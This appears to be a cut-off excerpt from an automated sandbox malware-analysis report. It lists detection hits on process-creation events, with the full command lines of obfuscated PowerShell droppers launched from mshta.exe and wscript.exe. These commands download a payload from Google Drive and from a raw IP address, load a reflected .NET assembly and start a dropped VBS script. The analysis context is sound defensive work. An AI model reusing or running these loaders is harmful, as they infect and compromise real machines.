Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('UCQimageUrl = 0TDhttps://drive.google.com/uc?export=downloa'+'d'+'&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur 0TD;UCQwebClient = New-Object System.Net.W'+'ebClient;UCQimageBytes = UCQwebClient.DownloadData(UCQim'+'ageUrl);UCQimageText = [System.Text.Encoding]::UTF8.GetString'+'(UCQimageBytes);UCQstartFlag = 0TD<<BASE64_START>>0TD;UCQ'+'endFlag = 0TD<<BASE64_END>>0TD;UCQstartIndex = UCQimageText.IndexOf(UCQstartFlag);UCQendIndex = UCQimageText.IndexOf(UCQendFlag);UCQst'+'artIndex -ge 0 -and UCQendIndex -gt UCQstartIndex;UCQstartIndex += UCQstartFlag.Length;UCQbase64'+'Length = '+'UC'+'Q'+'endIndex - UCQstartIndex;UCQbase64Command '+'= UCQimageText.Substring(UCQstartIndex, UCQbase64Length);UCQbase64Reversed = -join (UCQbase64Command.ToCharArray() Pyz ForEach-Object { UCQ_ })['+'-1..-(UCQbase64Command.Length)];UCQcommandBytes = [System.Convert]::FromBase64String(UCQbase64Reversed);UCQloadedAss'+'embly = [System.Reflection.Assembly]::Load(UCQcommandBytes);UC'+'QvaiMethod = [dnlib.IO.Hom'+'e].GetMethod(0TDVAI0TD);UCQvaiMethod.Invoke('+'UCQ'+'null, @(0TDtxt.IKOL02%SGOL/63/141.6'+'71.3.291//:ptth0TD, 0TDdesativado0TD, 0TDdesativado0TD, 0TDdesati'+'vado0TD, 0TDAddInProcess320TD, 0TDdesativado0TD, 0TDdesativado0TD,0TDdesativado0TD,0TDdesativado0TD,'+'0TDdesativado'+'0TD,0TDdesativado0TD,0TDdesativado0TD,0T'+'D10TD,0TDdesativad'+'o0TD))'+';')-rEplacE'UCQ',[cHaR]36 -rEplacE'0TD',[cHaR]39 -rEplacE ([cHaR]80+[cHaR]121+[cHaR]122),[cHaR]124) \|. ((GET-vaRIaBLe 'mdr').naME[3,11,2]-JoIN'')"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('UCQimageUrl = 0TDhttps://drive.google.com/uc?export=downloa'+'d'+'&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur 0TD;UCQwebClient = New-Object System.Net.W'+'ebClient;UCQimageBytes = UCQwebClient.DownloadData(UCQim'+'ageUrl);UCQimageText = [System.Text.Encoding]::UTF8.GetString'+'(UCQimageBytes);UCQstartFlag = 0TD<<BASE64_START>>0TD;UCQ'+'endFlag = 0TD<<BASE64_END>>0TD;UCQstartIndex = UCQimageText.IndexOf(UCQstartFlag);UCQendIndex = UCQimageText.IndexOf(UCQendFlag);UCQst'+'artIndex -ge 0 -and UCQendIndex -gt UCQstartIndex;UCQstartIndex += UCQstartFlag.Length;UCQbase64'+'Length = '+'UC'+'Q'+'endIndex - UCQstartIndex;UCQbase64Command '+'= UCQimageText.Substring(UCQstartIndex, UCQbase64Length);UCQbase64Reversed = -join (UCQbase64Command.ToCharArray() Pyz ForEach-Object { UCQ_ })['+'-1..-(UCQbase64Command.Length)];UCQcommandBytes = [System.Convert]::FromBase64String(UCQbase64Reversed);UCQloadedAss'+'embly = [System.Reflection.Assembly]::Load(UCQcommandBytes);UC'+'QvaiMethod = [dnlib.IO.Hom'+'e].GetMethod(0TDVAI0TD);UCQvaiMethod.Invoke('+'UCQ'+'null, @(0TDtxt.IKOL02%SGOL/63/141.6'+'71.3.291//:ptth0TD, 0TDdesativado0TD, 0TDdesativado0TD, 0TDdesati'+'vado0TD, 0TDAddInProcess320TD, 0TDdesativado0TD, 0TDdesativado0TD,0TDdesativado0TD,0TDdesativado0TD,'+'0TDdesativado'+'0TD,0TDdesativado0TD,0TDdesativado0TD,0T'+'D10TD,0TDdesativad'+'o0TD))'+';')-rEplacE'UCQ',[cHaR]36 -rEplacE'0TD',[cHaR]39 -rEplacE ([cHaR]80+[cHaR]121+[cHaR]122),[cHaR]124) \|. ((GET-vaRIaBLe 'mdr').naME[3,11,2]-JoIN'')"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('UCQimageUrl = 0TDhttps://drive.google.com/uc?export=downloa'+'d'+'&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur 0TD;UCQwebClient = New-Object System.Net.W'+'ebClient;UCQimageBytes = UCQwebClient.DownloadData(UCQim'+'ageUrl);UCQimageText = [System.Text.Encoding]::UTF8.GetString'+'(UCQimageBytes);UCQstartFlag = 0TD<<BASE64_START>>0TD;UCQ'+'endFlag = 0TD<<BASE64_END>>0TD;UCQstartIndex = UCQimageText.IndexOf(UCQstartFlag);UCQendIndex = UCQimageText.IndexOf(UCQendFlag);UCQst'+'artIndex -ge 0 -and UCQendIndex -gt UCQstartIndex;UCQstartIndex += UCQstartFlag.Length;UCQbase64'+'Length = '+'UC'+'Q'+'endIndex - UCQstartIndex;UCQbase64Command '+'= UCQimageText.Substring(UCQstartIndex, UCQbase64Length);UCQbase64Reversed = -join (UCQbase64Command.ToCharArray() Pyz ForEach-Object { UCQ_ })['+'-1..-(UCQbase64Command.Length)];UCQcommandBytes = [System.Convert]::FromBase64String(UCQbase64Reversed);UCQloadedAss'+'embly = [System.Reflection.Assembly]::Load(UCQcommandBytes);UC'+'QvaiMethod = [dnlib.IO.Hom'+'e].GetMethod(0TDVAI0TD);UCQvaiMethod.Invoke('+'UCQ'+'null, @(0TDtxt.IKOL02%SGOL/63/141.6'+'71.3.291//:ptth0TD, 0TDdesativado0TD, 0TDdesativado0TD, 0TDdesati'+'vado0TD, 0TDAddInProcess320TD, 0TDdesativado0TD, 0TDdesativado0TD,0TDdesativado0TD,0TDdesativado0TD,'+'0TDdesativado'+'0TD,0TDdesativado0TD,0TDdesativado0TD,0T'+'D10TD,0TDdesativad'+'o0TD))'+';')-rEplacE'UCQ',[cHaR]36 -rEplacE'0TD',[cHaR]39 -rEplacE ([cHaR]80+[cHaR]121+[cHaR]122),[cHaR]124) \|. ((GET-vaRIaBLe 'mdr').naME[3,11,2]-JoIN'')"

PowerShell case anomaly found

Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\sYSTEm32\WinDOWspOwershElL\v1.0\pOweRshEll.eXe" "PoWeRshELL.exE -eX bYpASs -NOp -w 1 -c DEvICecrEdentiaLdePlOYMent.ExE ; Iex($(IEx('[sYsTem.TeXt.eNcOdiNg]'+[ChAR]58+[chAR]0X3A+'utf8.getSTrIng([sYsTeM.cOnvErt]'+[CHar]0x3A+[cHaR]0x3A+'frOMbAsE64StrinG('+[ChAR]0x22+'JFQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFEZC1UWVBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTUVtQkVyZEVGSU5pdGlvTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVybG1vbi5kTEwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUmhQQVdhVSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFpIT0djVSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFFvLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGxzaGJQSHRzLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaik7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJuaWVlIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbWVTcEFjZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcnB3WUlpRnNleCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFQ6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTIuMy4xNzYuMTQxLzM2L2dvb2R0aGluZ3N3aXRoZ3JlYXRjb21lYmFja3dpdGhncmVhdHRoaWducy50SUYiLCIkRU5WOkFQUERBVEFcZ29vZHRoaW5nc3dpdGhncmVhdGNvbWViYWNrd2l0aGdyZWF0dGhpZy52YlMiLDAsMCk7c1RhUnQtc2xlZVAoMyk7U3RhcnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZU52OkFQUERBVEFcZ29vZHRoaW5nc3dpdGhncmVhdGNvbWViYWNrd2l0aGdyZWF0dGhpZy52YlMi'+[ChAr]34+'))')))"
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\sYSTEm32\WinDOWspOwershElL\v1.0\pOweRshEll.eXe" "PoWeRshELL.exE -eX bYpASs -NOp -w 1 -c DEvICecrEdentiaLdePlOYMent.ExE ; Iex($(IEx('[sYsTem.TeXt.eNcOdiNg]'+[ChAR]58+[chAR]0X3A+'utf8.getSTrIng([sYsTeM.cOnvErt]'+[CHar]0x3A+[cHaR]0x3A+'frOMbAsE64StrinG('+[ChAR]0x22+'JFQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFEZC1UWVBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTUVtQkVyZEVGSU5pdGlvTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVybG1vbi5kTEwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUmhQQVdhVSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFpIT0djVSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFFvLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGxzaGJQSHRzLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaik7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJuaWVlIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbWVTcEFjZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcnB3WUlpRnNleCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFQ6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTIuMy4xNzYuMTQxLzM2L2dvb2R0aGluZ3N3aXRoZ3JlYXRjb21lYmFja3dpdGhncmVhdHRoaWducy50SUYiLCIkRU5WOkFQUERBVEFcZ29vZHRoaW5nc3dpdGhncmVhdGNvbWViYWNrd2l0aGdyZWF0dGhpZy52YlMiLDAsMCk7c1RhUnQtc2xlZVAoMyk7U3RhcnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZU52OkFQUERBVEFcZ29vZHRoaW5nc3dpdGhncmVhdGNvbWViYWNrd2l0aGdyZWF0dGhpZy52YlMi'+[ChAr]34+'))')))"
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\sYSTEm32\WinDOWspOwershElL\v1.0\pOweRshEll.eXe" "PoWeRshELL.exE -eX bYpASs -NOp -w 1 -c DEvICecrEdentiaLdePlOYMent.ExE ; Iex($(IEx('[sYsTem.TeXt.eNcOdiNg]'+[ChAR]58+[chAR]0X3A+'utf8.getSTrIng([sYsTeM.cOnvErt]'+[CHar]0x3A+[cHaR]0x3A+'frOMbAsE64StrinG('+[ChAR]0x22+'JFQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFEZC1UWVBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTUVtQkVyZEVGSU5pdGlvTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVybG1vbi5kTEwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUmhQQVdhVSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFpIT0djVSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFFvLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGxzaGJQSHRzLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaik7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJuaWVlIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbWVTcEFjZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcnB3WUlpRnNleCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFQ6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTIuMy4xNzYuMTQxLzM2L2dvb2R0aGluZ3N3aXRoZ3JlYXRjb21lYmFja3dpdGhncmVhdHRoaWducy50SUYiLCIkRU5WOkFQUERBVEFcZ29vZHRoaW5nc3dpdGhncmVhdGNvbWViYWNrd2l0aGdyZWF0dGhpZy52YlMiLDAsMCk7c1RhUnQtc2xlZVAoMyk7U3RhcnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZU52OkFQUERBVEFcZ29vZHRoaW5nc3dpdGhncmVhdGNvbWViYWNrd2l0aGdyZWF0dGhpZy52YlMi'+[ChAr]34+'))')))"	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\sYSTEm32\WinDOWspOwershElL\v1.0\pOweRshEll.eXe" "PoWeRshELL.exE -eX bYpASs -NOp -w 1 -c DEvICecrEdentiaLdePlOYMent.ExE ; Iex($(IEx('[sYsTem.TeXt.eNcOdiNg]'+[ChAR]58+[chAR]0X3A+'utf8.getSTrIng([sYsTeM.cOnvErt]'+[CHar]0x3A+[cHaR]0x3A+'frOMbAsE64StrinG('+[ChAR]0x22+'JFQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFEZC1UWVBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTUVtQkVyZEVGSU5pdGlvTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVybG1vbi5kTEwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUmhQQVdhVSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFpIT0djVSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFFvLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGxzaGJQSHRzLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaik7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJuaWVlIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbWVTcEFjZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcnB3WUlpRnNleCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFQ6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTIuMy4xNzYuMTQxLzM2L2dvb2R0aGluZ3N3aXRoZ3JlYXRjb21lYmFja3dpdGhncmVhdHRoaWducy50SUYiLCIkRU5WOkFQUERBVEFcZ29vZHRoaW5nc3dpdGhncmVhdGNvbWViYWNrd2l0aGdyZWF0dGhpZy52YlMiLDAsMCk7c1RhUnQtc2xlZVAoMyk7U3RhcnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZU52OkFQUERBVEFcZ29vZHRoaW5nc3dpdGhncmVhdGNvbWViYWNrd2l0aGdyZWF0dGhpZy52YlMi'+[ChAr]34+'))')))"	Jump to behavior

Suspicious powershell command line found

Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\sYSTEm32\WinDOWspOwershElL\v1.0\pOweRshEll.eXe" "PoWeRshELL.exE -eX bYpASs -NOp -w 1 -c DEvICecrEdentiaLdePlOYMent.ExE ; Iex($(IEx('[sYsTem.TeXt.eNcOdiNg]'+[ChAR]58+[chAR]0X3A+'utf8.getSTrIng([sYsTeM.cOnvErt]'+[CHar]0x3A+[cHaR]0x3A+'frOMbAsE64StrinG('+[ChAR]0x22+'JFQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFEZC1UWVBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTUVtQkVyZEVGSU5pdGlvTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVybG1vbi5kTEwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUmhQQVdhVSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFpIT0djVSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFFvLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGxzaGJQSHRzLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaik7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJuaWVlIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbWVTcEFjZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcnB3WUlpRnNleCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFQ6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTIuMy4xNzYuMTQxLzM2L2dvb2R0aGluZ3N3aXRoZ3JlYXRjb21lYmFja3dpdGhncmVhdHRoaWducy50SUYiLCIkRU5WOkFQUERBVEFcZ29vZHRoaW5nc3dpdGhncmVhdGNvbWViYWNrd2l0aGdyZWF0dGhpZy52YlMiLDAsMCk7c1RhUnQtc2xlZVAoMyk7U3RhcnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZU52OkFQUERBVEFcZ29vZHRoaW5nc3dpdGhncmVhdGNvbWViYWNrd2l0aGdyZWF0dGhpZy52YlMi'+[ChAr]34+'))')))"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnVUNRaW1hZ2VVcmwgPSAwVERodHRwczovL2RyaXZlLmdvb2dsZS5jb20vdWM/ZXhwb3J0PWRvd25sb2EnKydkJysnJmlkPTFBSVZnSkpKdjFGNnZTNHNVT3libkgtc0R2VWhCWXd1ciAwVEQ7VUNRd2ViQ2xpZW50ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LlcnKydlYkNsaWVudDtVQ1FpbWFnZUJ5dGVzID0gVUNRd2ViQ2xpZW50LkRvd25sb2FkRGF0YShVQ1FpbScrJ2FnZVVybCk7VUNRaW1hZ2VUZXh0ID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRTdHJpbmcnKycoVUNRaW1hZ2VCeXRlcyk7VUNRc3RhcnRGbGFnID0gMFREPDxCQVNFNjRfU1RBUlQ+PjBURDtVQ1EnKydlbmRGbGFnID0gMFREPDxCQVNFNjRfRU5EPj4wVEQ7VUNRc3RhcnRJbmRleCA9IFVDUWltYWdlVGV4dC5JbmRleE9mKFVDUXN0YXJ0RmxhZyk7VUNRZW5kSW5kZXggPSBVQ1FpbWFnZVRleHQuSW5kZXhPZihVQ1FlbmRGbGFnKTtVQ1FzdCcrJ2FydEluZGV4IC1nZSAwIC1hbmQgVUNRZW5kSW5kZXggLWd0IFVDUXN0YXJ0SW5kZXg7VUNRc3RhcnRJbmRleCArPSBVQ1FzdGFydEZsYWcuTGVuZ3RoO1VDUWJhc2U2NCcrJ0xlbmd0aCA9ICcrJ1VDJysnUScrJ2VuZEluZGV4IC0gVUNRc3RhcnRJbmRleDtVQ1FiYXNlNjRDb21tYW5kICcrJz0gVUNRaW1hZ2VUZXh0LlN1YnN0cmluZyhVQ1FzdGFydEluZGV4LCBVQ1FiYXNlNjRMZW5ndGgpO1VDUWJhc2U2NFJldmVyc2VkID0gLWpvaW4gKFVDUWJhc2U2NENvbW1hbmQuVG9DaGFyQXJyYXkoKSBQeXogRm9yRWFjaC1PYmplY3QgeyBVQ1FfIH0pWycrJy0xLi4tKFVDUWJhc2U2NENvbW1hbmQuTGVuZ3RoKV07VUNRY29tbWFuZEJ5dGVzID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZyhVQ1FiYXNlNjRSZXZlcnNlZCk7VUNRbG9hZGVkQXNzJysnZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKFVDUWNvbW1hbmRCeXRlcyk7VUMnKydRdmFpTWV0aG9kID0gW2RubGliLklPLkhvbScrJ2VdLkdldE1ldGhvZCgwVERWQUkwVEQpO1VDUXZhaU1ldGhvZC5JbnZva2UoJysnVUNRJysnbnVsbCwgQCgwVER0eHQuSUtPTDAyJVNHT0wvNjMvMTQxLjYnKyc3MS4zLjI5MS8vOnB0dGgwVEQsIDBURGRlc2F0aXZhZG8wVEQsIDBURGRlc2F0aXZhZG8wVEQsIDBURGRlc2F0aScrJ3ZhZG8wVEQsIDBUREFkZEluUHJvY2VzczMyMFRELCAwVERkZXNhdGl2YWRvMFRELCAwVERkZXNhdGl2YWRvMFRELDBURGRlc2F0aXZhZG8wVEQsMFREZGVzYXRpdmFkbzBURCwnKycwVERkZXNhdGl2YWRvJysnMFRELDBURGRlc2F0aXZhZG8wVEQsMFREZGVzYXRpdmFkbzBURCwwVCcrJ0QxMFRELDBURGRlc2F0aXZhZCcrJ28wVEQpKScrJzsnKS1yRXBsYWNFJ1VDUScsW2NIYVJdMzYgIC1yRXBsYWNFJzBURCcsW2NIYVJdMzkgIC1yRXBsYWNFIChbY0hhUl04MCtbY0hhUl0xMjErW2NIYVJdMTIyKSxbY0hhUl0xMjQpIHwuICgoR0VULXZhUklhQkxlICcqbWRyKicpLm5hTUVbMywxMSwyXS1Kb0lOJycp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('UCQimageUrl = 0TDhttps://drive.google.com/uc?export=downloa'+'d'+'&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur 0TD;UCQwebClient = New-Object System.Net.W'+'ebClient;UCQimageBytes = UCQwebClient.DownloadData(UCQim'+'ageUrl);UCQimageText = [System.Text.Encoding]::UTF8.GetString'+'(UCQimageBytes);UCQstartFlag = 0TD<<BASE64_START>>0TD;UCQ'+'endFlag = 0TD<<BASE64_END>>0TD;UCQstartIndex = UCQimageText.IndexOf(UCQstartFlag);UCQendIndex = UCQimageText.IndexOf(UCQendFlag);UCQst'+'artIndex -ge 0 -and UCQendIndex -gt UCQstartIndex;UCQstartIndex += UCQstartFlag.Length;UCQbase64'+'Length = '+'UC'+'Q'+'endIndex - UCQstartIndex;UCQbase64Command '+'= UCQimageText.Substring(UCQstartIndex, UCQbase64Length);UCQbase64Reversed = -join (UCQbase64Command.ToCharArray() Pyz ForEach-Object { UCQ_ })['+'-1..-(UCQbase64Command.Length)];UCQcommandBytes = [System.Convert]::FromBase64String(UCQbase64Reversed);UCQloadedAss'+'embly = [System.Reflection.Assembly]::Load(UCQcommandBytes);UC'+'QvaiMethod = [dnlib.IO.Hom'+'e].GetMethod(0TDVAI0TD);UCQvaiMethod.Invoke('+'UCQ'+'null, @(0TDtxt.IKOL02%SGOL/63/141.6'+'71.3.291//:ptth0TD, 0TDdesativado0TD, 0TDdesativado0TD, 0TDdesati'+'vado0TD, 0TDAddInProcess320TD, 0TDdesativado0TD, 0TDdesativado0TD,0TDdesativado0TD,0TDdesativado0TD,'+'0TDdesativado'+'0TD,0TDdesativado0TD,0TDdesativado0TD,0T'+'D10TD,0TDdesativad'+'o0TD))'+';')-rEplacE'UCQ',[cHaR]36 -rEplacE'0TD',[cHaR]39 -rEplacE ([cHaR]80+[cHaR]121+[cHaR]122),[cHaR]124) \|. ((GET-vaRIaBLe 'mdr').naME[3,11,2]-JoIN'')"
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\sYSTEm32\WinDOWspOwershElL\v1.0\pOweRshEll.eXe" "PoWeRshELL.exE -eX bYpASs -NOp -w 1 -c DEvICecrEdentiaLdePlOYMent.ExE ; Iex($(IEx('[sYsTem.TeXt.eNcOdiNg]'+[ChAR]58+[chAR]0X3A+'utf8.getSTrIng([sYsTeM.cOnvErt]'+[CHar]0x3A+[cHaR]0x3A+'frOMbAsE64StrinG('+[ChAR]0x22+'JFQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFEZC1UWVBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTUVtQkVyZEVGSU5pdGlvTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVybG1vbi5kTEwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUmhQQVdhVSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFpIT0djVSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFFvLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGxzaGJQSHRzLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaik7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJuaWVlIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbWVTcEFjZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcnB3WUlpRnNleCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFQ6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTIuMy4xNzYuMTQxLzM2L2dvb2R0aGluZ3N3aXRoZ3JlYXR